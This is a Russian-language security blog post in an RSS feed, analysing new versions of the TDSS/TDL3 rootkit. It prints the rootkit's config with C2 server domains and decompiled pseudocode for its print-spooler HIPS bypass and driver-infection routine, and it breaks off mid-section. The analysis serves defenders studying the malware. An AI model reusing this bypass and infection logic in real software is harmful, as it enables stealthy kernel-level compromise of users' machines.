<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог команды eSage Lab</title>
	<atom:link href="http://esagelab.ru/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://esagelab.ru/blog</link>
	<description></description>
	<lastBuildDate>Fri, 23 Jul 2010 15:45:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>TDSS Rootkit: Дальнейшее развитие и текущее состояние</title>
		<link>http://esagelab.ru/blog/2010/04/29/30/</link>
		<comments>http://esagelab.ru/blog/2010/04/29/30/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 12:59:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Технологии]]></category>
		<category><![CDATA[антивирусы]]></category>
		<category><![CDATA[руткит tdss]]></category>
		<category><![CDATA[тестирование]]></category>

		<guid isPermaLink="false">http://esagelab.ru/blog/?p=30</guid>
		<description><![CDATA[Про руткит TDSS &#8211; а именно, про ту его версию, которая также известна как TDL3 &#8211; написано достаточно много: с момента появления первых прецедентов прошло уже почти полгода. Однако, TDL3 до сих пор является актуальной угрозой, так как на каждое обновление процедур его обнаружения и лечения антивирусами авторы руткита отвечают всё новыми и новыми обновлениями [...]]]></description>
			<content:encoded><![CDATA[<p>Про руткит TDSS &#8211; а именно, про ту его версию, которая также известна как TDL3 &#8211; написано достаточно много: с момента появления первых прецедентов прошло уже почти полгода. Однако, TDL3 до сих пор является актуальной угрозой, так как на каждое обновление процедур его обнаружения и лечения антивирусами авторы руткита отвечают всё новыми и новыми обновлениями вредоносного кода. Подробно ознакомиться с техническим описанием руткита TDL3 можно по следующим ссылкам (на английском языке):
<p><a href="http://rootkit.com/newsread.php?newsid=979">TDL3 &#8211; Why so serious? Let&#8217;s put a smile on that face&#8230;</a><br />
<a href="http://www.drweb.com/static/BackDoor.Tdss.565_aka_TDL3.pdf">От BackDoor.Tdss.565 и выше (aka TDL3)</a><br />

<p>В данной заметке я хотел бы остановиться на нововведениях, которые появились в TDL3 после публикации его первых обзоров. Кроме того, в конце заметки будут приведены результаты тестирования существующих утилит для лечения TDSS.
<p><span id="more-30"></span></p>
<p><b>Инсталлятор</b>
<p>Инсталлятор руткита представляет собой исполняемый файл размером ~87Кб, обработанный несложной утилитой для запутывания кода (VirusTotal <a href="http://www.virustotal.com/analisis/d2041f8872432d4224fdc512bf5c5737b82567ef7dfba8bda8049549cf881418-1272326745">Report</a>).</p>
<p>Ниже приведён конфигурационный файл, используемый руткитом после установки в систему:</p>
<pre>
[main]
quote=You people voted for Hubert Humphrey, and you killed Jesus
version=<font color="red">3.273</font>
botid=7a91eb86-a6be-4db5-8694-0337dad2c75d
affid=20592
subid=0
installdate=22.4.2010 23:42:43
builddate=<font color="red">20.4.2010 16:17:53</font>
[injector]
*=tdlcmd.dll
[tdlcmd]
servers=https://li1i16b0.com/;https://19js810300z.com/;https://lj1i16b0.com/
wspservers=http://7gafd33ja90a.com/;http://n1mo661s6cx0.com/
popupservers=http
version=3.741
</pre>
<p>Как видно, версия руткита &#8211; 3.273, последняя на данный момент.</p>
<p>С самых первых версий TDSS радовал нас оригинальной, и в то же время простой, техникой обхода поведенческой защиты, принцип работы которой основан на использовании механизмов службы диспетчера печати Windows. А именно, осуществлялась регистрация вспомогательной динамической библиотеки диспетчера печати (Print Processor) с помощью функции API функции <a href="http://msdn.microsoft.com/en-us/library/dd183348(VS.85).aspx">AddPrintProcessor</a><a name="bypassing">,</a> что, в свою очередь, приводило к выполнению кода, содержащегося в этой библиотеке, в контексте доверенного процесса (а именно, spoolsv.exe). Сложность детектирования подобного поведения для систем типа HIPS заключается в том, что вызов функции AddPrintProcessor в итоге приводит к вызову RPC-функции диспетчера печати, единственный надёжный способ мониторинга которой заключается в контроле недокументированных LPC сообщений. Однако, со временем производители антивирусных защит всё-таки научились корректно препятствовать описанной технике. После этого разработчики руткита начали использовать с той же целью вызов похожей функции, а именно &#8211; <a href="http://msdn.microsoft.com/en-us/library/dd183349(VS.85).aspx">AddPrintProvidor</a>, вызов которой разработчики проактивных защит контролировать не догадались (sic!).</p>
<pre>
BOOL AddPrintProvidor(
    LPTSTR pName,         // reserved, must be NULL
    DWORD  Level,         // provider information level
                          // (if 1 - function uses a PROVIDOR_INFO_1 structure)
    LPBYTE pProviderInfo  // provider information buffer
);

typedef struct _PROVIDOR_INFO_1
{
    LPTSTR pName;
    LPTSTR pEnvironment;
    LPTSTR pDLLName; 

} PROVIDOR_INFO_1,
*PPROVIDOR_INFO_1;
</pre>
<p>Взглянем на псевдокод той части инсталлятора, которая выполняет обход проактивной защиты:</p>
<pre>
<div>
<span style="color: #008080;"> 1</span> <span style="color: #008000;">//</span><span style="color: #008000;"> генерация временного имени, под которым будет сохранена dll библиотека,
</span><span style="color: #008080;"> 2</span> <span style="color: #008000;"></span><span style="color: #008000;">//</span><span style="color: #008000;"> загружаемая в контекст доверенного процесса функцией AddPrintProvidor()</span><span style="color: #008000;">
</span><span style="color: #008080;"> 3</span> <span style="color: #008000;"></span><span style="color: #0000FF;">if</span><span style="color: #000000;"> (GetTempFileNameW(</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">PathName, </span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">&amp;</span><span style="color: #000000;">ExistingFileName))
</span><span style="color: #008080;"> 4</span> <span style="color: #000000;">{
</span><span style="color: #008080;"> 5</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> сама dll библиотека представляет собой тот же самый исполняемый файл дроппера,
</span><span style="color: #008080;"> 6</span> <span style="color: #008000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> в котором выставленны соотвествующие значения флагов PE заголовка.</span><span style="color: #008000;">
</span><span style="color: #008080;"> 7</span> <span style="color: #008000;"></span><span style="color: #000000;">    </span><span style="color: #0000FF;">if</span><span style="color: #000000;"> (MoveFileExW(</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">NewFileName, </span><span style="color: #000000;">&amp;</span><span style="color: #000000;">ExistingFileName, </span><span style="color: #800080;">9u</span><span style="color: #000000;">))
</span><span style="color: #008080;"> 8</span> <span style="color: #000000;">    {
</span><span style="color: #008080;"> 9</span> <span style="color: #000000;">        pDLLName </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">&amp;</span><span style="color: #000000;">ExistingFileName;
</span><span style="color: #008080;">10</span> <span style="color: #000000;">        </span><span style="color: #000000;">*</span><span style="color: #000000;">(_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)pProvidorInfo </span><span style="color: #000000;">=</span><span style="color: #000000;"> L</span><span style="color: #800000;">&quot;</span><span style="color: #800000;">tdl</span><span style="color: #800000;">&quot;</span><span style="color: #000000;">;
</span><span style="color: #008080;">11</span> <span style="color: #000000;">        pEnvironment </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800080;">0</span><span style="color: #000000;">;
</span><span style="color: #008080;">12</span> <span style="color: #000000;">        AddPrintProvidorW(L</span><span style="color: #800000;">&quot;</span><span style="color: #800000;">tdl</span><span style="color: #800000;">&quot;</span><span style="color: #000000;">, </span><span style="color: #800080;">1u</span><span style="color: #000000;">, pProvidorInfo);
</span><span style="color: #008080;">13</span> <span style="color: #000000;">        </span><span style="color: #0000FF;">if</span><span style="color: #000000;"> (GetLastError() </span><span style="color: #000000;">==</span><span style="color: #000000;"> </span><span style="color: #800080;">1722</span><span style="color: #000000;"> </span><span style="color: #008000;">/*</span><span style="color: #008000;"> The RPC server is unavailable </span><span style="color: #008000;">*/</span><span style="color: #000000;">)
</span><span style="color: #008080;">14</span> <span style="color: #000000;">        {
</span><span style="color: #008080;">15</span> <span style="color: #000000;">            </span><span style="color: #008000;">//</span><span style="color: #008000;"> Служба диспетчера печати не запущена</span><span style="color: #008000;">
</span><span style="color: #008080;">16</span> <span style="color: #008000;"></span><span style="color: #000000;">            hScm </span><span style="color: #000000;">=</span><span style="color: #000000;"> OpenSCManagerA(</span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #800080;">1u</span><span style="color: #000000;">);
</span><span style="color: #008080;">17</span> <span style="color: #000000;">            hService </span><span style="color: #000000;">=</span><span style="color: #000000;"> OpenServiceA(hScm, </span><span style="color: #800000;">&quot;</span><span style="color: #800000;">spooler</span><span style="color: #800000;">&quot;</span><span style="color: #000000;">, </span><span style="color: #800080;">0x14u</span><span style="color: #000000;">);
</span><span style="color: #008080;">18</span> <span style="color: #000000;">            </span><span style="color: #0000FF;">if</span><span style="color: #000000;"> (hService)
</span><span style="color: #008080;">19</span> <span style="color: #000000;">            {
</span><span style="color: #008080;">20</span> <span style="color: #000000;">                </span><span style="color: #008000;">//</span><span style="color: #008000;"> запускаем службу</span><span style="color: #008000;">
</span><span style="color: #008080;">21</span> <span style="color: #008000;"></span><span style="color: #000000;">                </span><span style="color: #0000FF;">if</span><span style="color: #000000;"> (StartServiceA(hService, </span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #800080;">0</span><span style="color: #000000;">))
</span><span style="color: #008080;">22</span> <span style="color: #000000;">                {
</span><span style="color: #008080;">23</span> <span style="color: #000000;">                    SERVICE_STATUS_PROCESS Buffer;
</span><span style="color: #008080;">24</span> <span style="color: #000000;">                    memset(</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">Buffer, </span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #800080;">0x1Cu</span><span style="color: #000000;">);
</span><span style="color: #008080;">25</span> <span style="color: #000000;">                    </span><span style="color: #0000FF;">do</span><span style="color: #000000;">
</span><span style="color: #008080;">26</span> <span style="color: #000000;">                    {
</span><span style="color: #008080;">27</span> <span style="color: #000000;">                        </span><span style="color: #008000;">//</span><span style="color: #008000;"> ... и дожидаемся окончания её запуска</span><span style="color: #008000;">
</span><span style="color: #008080;">28</span> <span style="color: #008000;"></span><span style="color: #000000;">                        </span><span style="color: #0000FF;">if</span><span style="color: #000000;"> (</span><span style="color: #000000;">!</span><span style="color: #000000;">QueryServiceStatusEx(hService, </span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">&amp;</span><span style="color: #000000;">Buffer, </span><span style="color: #800080;">0x24u</span><span style="color: #000000;">, </span><span style="color: #000000;">&amp;</span><span style="color: #000000;">pcbBytesNeeded))
</span><span style="color: #008080;">29</span> <span style="color: #000000;">                            </span><span style="color: #0000FF;">break</span><span style="color: #000000;">;
</span><span style="color: #008080;">30</span> <span style="color: #000000;">                        Sleep(dwMilliseconds);
</span><span style="color: #008080;">31</span> <span style="color: #000000;">                    }
</span><span style="color: #008080;">32</span> <span style="color: #000000;">                    </span><span style="color: #0000FF;">while</span><span style="color: #000000;"> (Buffer.dwCurrentState </span><span style="color: #000000;">!=</span><span style="color: #000000;"> </span><span style="color: #800080;">4</span><span style="color: #000000;"> </span><span style="color: #008000;">/*</span><span style="color: #008000;"> SERVICE_RUNNING </span><span style="color: #008000;">*/</span><span style="color: #000000;">);
</span><span style="color: #008080;">33</span> <span style="color: #000000;">                    pDLLName </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">&amp;</span><span style="color: #000000;">ExistingFileName;
</span><span style="color: #008080;">34</span> <span style="color: #000000;">                    </span><span style="color: #000000;">*</span><span style="color: #000000;">(_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)pProvidorInfo </span><span style="color: #000000;">=</span><span style="color: #000000;"> L</span><span style="color: #800000;">&quot;</span><span style="color: #800000;">tdl</span><span style="color: #800000;">&quot;</span><span style="color: #000000;">;
</span><span style="color: #008080;">35</span> <span style="color: #000000;">                    pEnvironment </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800080;">0</span><span style="color: #000000;">;
</span><span style="color: #008080;">36</span> <span style="color: #000000;">                    AddPrintProvidorW(L</span><span style="color: #800000;">&quot;</span><span style="color: #800000;">tdl</span><span style="color: #800000;">&quot;</span><span style="color: #000000;">, </span><span style="color: #800080;">1u</span><span style="color: #000000;">, pProvidorInfo);
</span><span style="color: #008080;">37</span> <span style="color: #000000;">                }
</span><span style="color: #008080;">38</span> <span style="color: #000000;">                CloseServiceHandle(hService);
</span><span style="color: #008080;">39</span> <span style="color: #000000;">            }
</span><span style="color: #008080;">40</span> <span style="color: #000000;">        }
</span><span style="color: #008080;">41</span> <span style="color: #000000;">
</span><span style="color: #008080;">42</span> <span style="color: #000000;">        </span><span style="color: #008000;">//</span><span style="color: #008000;"> ...
</span><span style="color: #008080;">43</span> <span style="color: #008000;">        </span><span style="color: #008000;">//</span><span style="color: #008000;"> print providor и dll библиотека больше не нужны, удаляем их</span><span style="color: #008000;">
</span><span style="color: #008080;">44</span> <span style="color: #008000;"></span><span style="color: #000000;">        DeletePrintProvidorW(</span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #800080;">0</span><span style="color: #000000;">, L</span><span style="color: #800000;">&quot;</span><span style="color: #800000;">tdl</span><span style="color: #800000;">&quot;</span><span style="color: #000000;">);
</span><span style="color: #008080;">45</span> <span style="color: #000000;">        DeleteFileW(</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">ExistingFileName);
</span><span style="color: #008080;">46</span> <span style="color: #000000;">
</span><span style="color: #008080;">47</span> <span style="color: #000000;">        </span><span style="color: #008000;">//</span><span style="color: #008000;"> ...</span><span style="color: #008000;">
</span><span style="color: #008080;">48</span> <span style="color: #008000;"></span><span style="color: #000000;">    }
</span><span style="color: #008080;">49</span> <span style="color: #000000;">}</span></div>
</pre>
<p>В дальнейшем, работая уже в контексте доверенного процесса, инсталлятор руткита загружает драйвер режима ядра, имена файла и системного сервиса для которого генерируются случайным образом. После загрузки в память драйвер руткита выполняет заражение уже установленного в системе легитимного драйвера и инициализирует устройство, обслуживающее собственную зашифрованную файловую систему руткита. На эту файловую систему инсталлятор записывает файлы tdlcmd.dll (код трояна, работающий в User Mode), config.ini (конфигурационный файл, расшифрованный текст которого был приведён выше – этот файл формируется инсталлятором «на лету» их тех данных, которые были «зашиты» в инсталлятор на этапе его сборки и конфигурирования) и bcfg.tmp (исходные конфигурационные данные из инсталлятора). После того, как заражение выполнено, драйвер и инсталлятор самоудаляются, а руткит остаётся жить в системе исключительно как «потерянный» фрагмент исполняемого кода: он записан в последние секторы физического диска и не существующий в виде файла.</p>
<p>Основное тело руткита не претерпело существенных изменений за последнее время за тем исключением, что обработчики дисковых перехватов руткита теперь дополнительно фильтруют такие запросы IRP, как <a href="http://support.microsoft.com/kb/137247">IOCTL_SCSI_PASS_THROUGH</a>. Подобные запросы, адресованые драйверу минипорта, некоторое время использовались утилитами для удаления TDSS.
<p><b>Заражение драйвера</b>
<p>Одним из главных нововведений в версии 3.273 является то, что вместо заражения заранее известного драйвера минипорта дискового контроллера руткит теперь заражает случайный драйвер, выбирая его из числа загруженных в память на момент заражения. Претерпел существенные изменения и код, которым осуществляется заражение драйвера (он по-прежнему записывается поверх секции, в которой хранятся ресурсы).</p>
<p>Во-первых, поиск функций ядра, используемых в этом коде, теперь осуществляется по контрольным суммам, подсчитанным от их имён. В предыдущих версиях руткита адреса нужных функций хранились непосредственно в коде. Это изменение связано с инцидентом, произошедшим после выхода обновления Miscrosoft для уязвимости <a href="http://www.microsoft.com/technet/security/Bulletin/MS10-015.mspx">MS10-015</a>: в результате использования в коде руткита фиксированных адресов функций ядра огромное количество зараженных пользователей после обновления получили «синий экран смерти» на этапе загрузки и, как следствие,  неработоспособную систему (<a href="http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1381423,00.html">Windows blue screen may be result of rootkit infection</a>).</p>
<p>Во-вторых, та часть кода заражения, которая осуществляет загрузку тела руткита из последних секторов физического диска, теперь шифруется методом XOR. Однобайтный ключ шифрования хранится в начале зараженной секции наряду с адресом оригинальной точки входа драйвера. Возможно, разработчики руткита предприняли этот шаг для обхода тех антивирусных утилит, которые использовали модификацию загружаемого драйвера в ходе лечения.</p>
<p>В третьих, для установки нотификатора на создание объектов типа &laquo;Control Device Object&raquo; в новой версии используется функция <a href="http://msdn.microsoft.com/en-us/library/ff549526(VS.85).aspx">IoRegisterPlugPlayNotification</a>, вместо функции <a href="http://msdn.microsoft.com/en-us/library/ff548499.aspx">IoRegisterFsRegistrationChange</a>, используемой в более ранних версиях:</p>
<pre>
NTSTATUS
IoRegisterPlugPlayNotification(
    IN IO_NOTIFICATION_EVENT_CATEGORY EventCategory,
    IN ULONG EventCategoryFlags,
    IN PVOID EventCategoryData OPTIONAL,
    IN PDRIVER_OBJECT DriverObject,
    IN PDRIVER_NOTIFICATION_CALLBACK_ROUTINE CallbackRoutine,
    IN PVOID Context,
    OUT PVOID *NotificationEntry
);

typedef NTSTATUS (* PDRIVER_NOTIFICATION_CALLBACK_ROUTINE) (
    IN PVOID NotificationStructure,
    IN PVOID Context
);
</pre>
<p>Рассмотрим псевдокод первой части кода заражения системного драйвера:</p>
<pre>
<div>
<span style="color: #008080;"> 1</span> <span style="color: #000000;">NTSTATUS __stdcall InfectedDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
</span><span style="color: #008080;"> 2</span> <span style="color: #000000;">{
</span><span style="color: #008080;"> 3</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> получаем указатель на секцию ресурсов зараженного драйвера</span><span style="color: #008000;">
</span><span style="color: #008080;"> 4</span> <span style="color: #008000;"></span><span style="color: #000000;">    rsrc </span><span style="color: #000000;">=</span><span style="color: #000000;"> (</span><span style="color: #0000FF;">int</span><span style="color: #000000;">)((</span><span style="color: #0000FF;">char</span><span style="color: #000000;"> </span><span style="color: #000000;">*</span><span style="color: #000000;">)DriverObject</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">DriverStart </span><span style="color: #000000;">+</span><span style="color: #000000;">
</span><span style="color: #008080;"> 5</span> <span style="color: #000000;">           </span><span style="color: #000000;">*</span><span style="color: #000000;">(_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)(DriverObject</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">DriverStart </span><span style="color: #000000;">+</span><span style="color: #000000;">
</span><span style="color: #008080;"> 6</span> <span style="color: #000000;">           </span><span style="color: #000000;">*</span><span style="color: #000000;">((_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)DriverObject</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">DriverStart </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">15</span><span style="color: #000000;">) </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">136</span><span style="color: #000000;">));
</span><span style="color: #008080;"> 7</span> <span style="color: #000000;">
</span><span style="color: #008080;"> 8</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> ищем адрес загрузки ядра</span><span style="color: #008000;">
</span><span style="color: #008080;"> 9</span> <span style="color: #008000;"></span><span style="color: #000000;">    __asm { sidt fword ptr [ebp</span><span style="color: #000000;">+</span><span style="color: #000000;">var_10] }
</span><span style="color: #008080;">10</span> <span style="color: #000000;">    kernel_base </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">*</span><span style="color: #000000;">(_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)(</span><span style="color: #000000;">*</span><span style="color: #000000;">(_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">v28[</span><span style="color: #800080;">2</span><span style="color: #000000;">] </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">512</span><span style="color: #000000;">) </span><span style="color: #000000;">&amp;</span><span style="color: #000000;"> </span><span style="color: #800080;">0xF000</span><span style="color: #000000;"> </span><span style="color: #000000;">|</span><span style="color: #000000;">
</span><span style="color: #008080;">11</span> <span style="color: #000000;">                  (</span><span style="color: #000000;">*</span><span style="color: #000000;">(_WORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)(</span><span style="color: #000000;">*</span><span style="color: #000000;">(_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">v28[</span><span style="color: #800080;">2</span><span style="color: #000000;">] </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">518</span><span style="color: #000000;">) </span><span style="color: #000000;">&lt;&lt;</span><span style="color: #000000;"> </span><span style="color: #800080;">16</span><span style="color: #000000;">);
</span><span style="color: #008080;">12</span> <span style="color: #000000;">    </span><span style="color: #0000FF;">for</span><span style="color: #000000;"> (i </span><span style="color: #000000;">=</span><span style="color: #000000;"> kernel_base; </span><span style="color: #000000;">*</span><span style="color: #000000;">(_WORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)kernel_base </span><span style="color: #000000;">!=</span><span style="color: #000000;"> </span><span style="color: #800000;">'</span><span style="color: #800000;">MZ</span><span style="color: #800000;">'</span><span style="color: #000000;">; i </span><span style="color: #000000;">=</span><span style="color: #000000;"> kernel_base)
</span><span style="color: #008080;">13</span> <span style="color: #000000;">        kernel_base </span><span style="color: #000000;">=</span><span style="color: #000000;"> (kernel_base </span><span style="color: #000000;">-</span><span style="color: #000000;"> </span><span style="color: #800080;">2</span><span style="color: #000000;">) </span><span style="color: #000000;">&amp;</span><span style="color: #000000;"> </span><span style="color: #800080;">0xFFFFF000</span><span style="color: #000000;">;
</span><span style="color: #008080;">14</span> <span style="color: #000000;">
</span><span style="color: #008080;">15</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> получаем адрес функции nt!ExAllocatePool()</span><span style="color: #008000;">
</span><span style="color: #008080;">16</span> <span style="color: #008000;"></span><span style="color: #000000;">    __ExAllocatePool </span><span style="color: #000000;">=</span><span style="color: #000000;"> _getapi(kernel_base, </span><span style="color: #800080;">0xDE45E96Cu</span><span style="color: #000000;">);
</span><span style="color: #008080;">17</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> выделяем память под структуру, в которой будут хранится
</span><span style="color: #008080;">18</span> <span style="color: #008000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> значения различных ключевых переменных, а так же
</span><span style="color: #008080;">19</span> <span style="color: #008000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> прочитанное с диска тело руткита</span><span style="color: #008000;">
</span><span style="color: #008080;">20</span> <span style="color: #008000;"></span><span style="color: #000000;">    context </span><span style="color: #000000;">=</span><span style="color: #000000;"> __ExAllocatePool(</span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #800080;">0x69A60u</span><span style="color: #000000;">);
</span><span style="color: #008080;">21</span> <span style="color: #000000;">    memset(context, </span><span style="color: #800080;">0</span><span style="color: #000000;">, </span><span style="color: #800080;">0x69A60u</span><span style="color: #000000;">);
</span><span style="color: #008080;">22</span> <span style="color: #000000;">    </span><span style="color: #000000;">*</span><span style="color: #000000;">(_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)(context </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">1968</span><span style="color: #000000;">) </span><span style="color: #000000;">=</span><span style="color: #000000;"> kernel_base;
</span><span style="color: #008080;">23</span> <span style="color: #000000;">    </span><span style="color: #000000;">*</span><span style="color: #000000;">(_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)(context </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">352</span><span style="color: #000000;">) </span><span style="color: #000000;">=</span><span style="color: #000000;"> DriverObject;
</span><span style="color: #008080;">24</span> <span style="color: #000000;">    memcpy((</span><span style="color: #0000FF;">void</span><span style="color: #000000;"> </span><span style="color: #000000;">*</span><span style="color: #000000;">)(context </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">1972</span><span style="color: #000000;">), rsrc, </span><span style="color: #800080;">0x395u</span><span style="color: #000000;">);
</span><span style="color: #008080;">25</span> <span style="color: #000000;">
</span><span style="color: #008080;">26</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> вызов оригинальной точки входа зараженного драйвера</span><span style="color: #008000;">
</span><span style="color: #008080;">27</span> <span style="color: #008000;"></span><span style="color: #000000;">    status </span><span style="color: #000000;">=</span><span style="color: #000000;"> ((</span><span style="color: #0000FF;">char</span><span style="color: #000000;"> </span><span style="color: #000000;">*</span><span style="color: #000000;">)DriverObject</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">DriverStart </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #000000;">*</span><span style="color: #000000;">(_DWORD </span><span style="color: #000000;">*</span><span style="color: #000000;">)(rsrc </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">8</span><span style="color: #000000;">)))(
</span><span style="color: #008080;">28</span> <span style="color: #000000;">        DriverObject, RegistryPath);
</span><span style="color: #008080;">29</span> <span style="color: #000000;">
</span><span style="color: #008080;">30</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> расшифровка второй части шеллкода, которая выполняет роль
</span><span style="color: #008080;">31</span> <span style="color: #008000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> обработчика PnP событий, и читает с диска тело руткита</span><span style="color: #008000;">
</span><span style="color: #008080;">32</span> <span style="color: #008000;"></span><span style="color: #000000;">    k </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">*</span><span style="color: #000000;">(_BYTE </span><span style="color: #000000;">*</span><span style="color: #000000;">)(rsrc </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">16</span><span style="color: #000000;">);
</span><span style="color: #008080;">33</span> <span style="color: #000000;">    code_len </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800080;">433</span><span style="color: #000000;">;
</span><span style="color: #008080;">34</span> <span style="color: #000000;">    code_ptr </span><span style="color: #000000;">=</span><span style="color: #000000;"> context </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">2456</span><span style="color: #000000;">;
</span><span style="color: #008080;">35</span> <span style="color: #000000;">    </span><span style="color: #0000FF;">do</span><span style="color: #000000;">
</span><span style="color: #008080;">36</span> <span style="color: #000000;">    {
</span><span style="color: #008080;">37</span> <span style="color: #000000;">        </span><span style="color: #000000;">*</span><span style="color: #000000;">(_BYTE </span><span style="color: #000000;">*</span><span style="color: #000000;">)code_ptr</span><span style="color: #000000;">++</span><span style="color: #000000;"> </span><span style="color: #000000;">^=</span><span style="color: #000000;"> k</span><span style="color: #000000;">++</span><span style="color: #000000;">;
</span><span style="color: #008080;">38</span> <span style="color: #000000;">        </span><span style="color: #000000;">--</span><span style="color: #000000;">code_len;
</span><span style="color: #008080;">39</span> <span style="color: #000000;">    }
</span><span style="color: #008080;">40</span> <span style="color: #000000;">    </span><span style="color: #0000FF;">while</span><span style="color: #000000;"> (code_len);
</span><span style="color: #008080;">41</span> <span style="color: #000000;">
</span><span style="color: #008080;">42</span> <span style="color: #000000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> установка нотификатора для обработки PnP событий
</span><span style="color: #008080;">43</span> <span style="color: #008000;">    </span><span style="color: #008000;">//</span><span style="color: #008000;"> EventCategory = EventCategoryTargetDeviceChange</span><span style="color: #008000;">
</span><span style="color: #008080;">44</span> <span style="color: #008000;"></span><span style="color: #000000;">    __IoRegisterPlugPlayNotification </span><span style="color: #000000;">=</span><span style="color: #000000;"> _getapi(kernel_base, </span><span style="color: #800080;">0x48399F96u</span><span style="color: #000000;">);
</span><span style="color: #008080;">45</span> <span style="color: #000000;">    __IoRegisterPlugPlayNotification(</span><span style="color: #800080;">2</span><span style="color: #000000;">, </span><span style="color: #800080;">1</span><span style="color: #000000;">, </span><span style="color: #000000;">&amp;</span><span style="color: #000000;">v17, DriverObject, context </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">2456</span><span style="color: #000000;">,
</span><span style="color: #008080;">46</span> <span style="color: #000000;">        context, context </span><span style="color: #000000;">+</span><span style="color: #000000;"> </span><span style="color: #800080;">348</span><span style="color: #000000;">);
</span><span style="color: #008080;">47</span> <span style="color: #000000;">
</span><span style="color: #008080;">48</span> <span style="color: #000000;">    </span><span style="color: #0000FF;">return</span><span style="color: #000000;"> status;
</span><span style="color: #008080;">49</span> <span style="color: #000000;">}</span></div>
</pre>
<p>Вторая часть кода заражения системного драйвера, исполняемая при появлении определённых PnP событий, выполняет открытие устройства, имя которого передаётся в обработчик. После этого код заражения читает из последних секторов открытого устройства тело руткита, которое хранится в собственной зашифрованной файловой системе руткита под именем &laquo;tdl&raquo;.</p>
<p>Стоит заметить, что начиная с версии 3.27 способ шифрования этой файловой системы несколько изменился: теперь вместо алгоритма RC4 со строкой &laquo;tdl&raquo; в качестве ключа используется инкрементальный XOR:</p>
<pre>
<div>
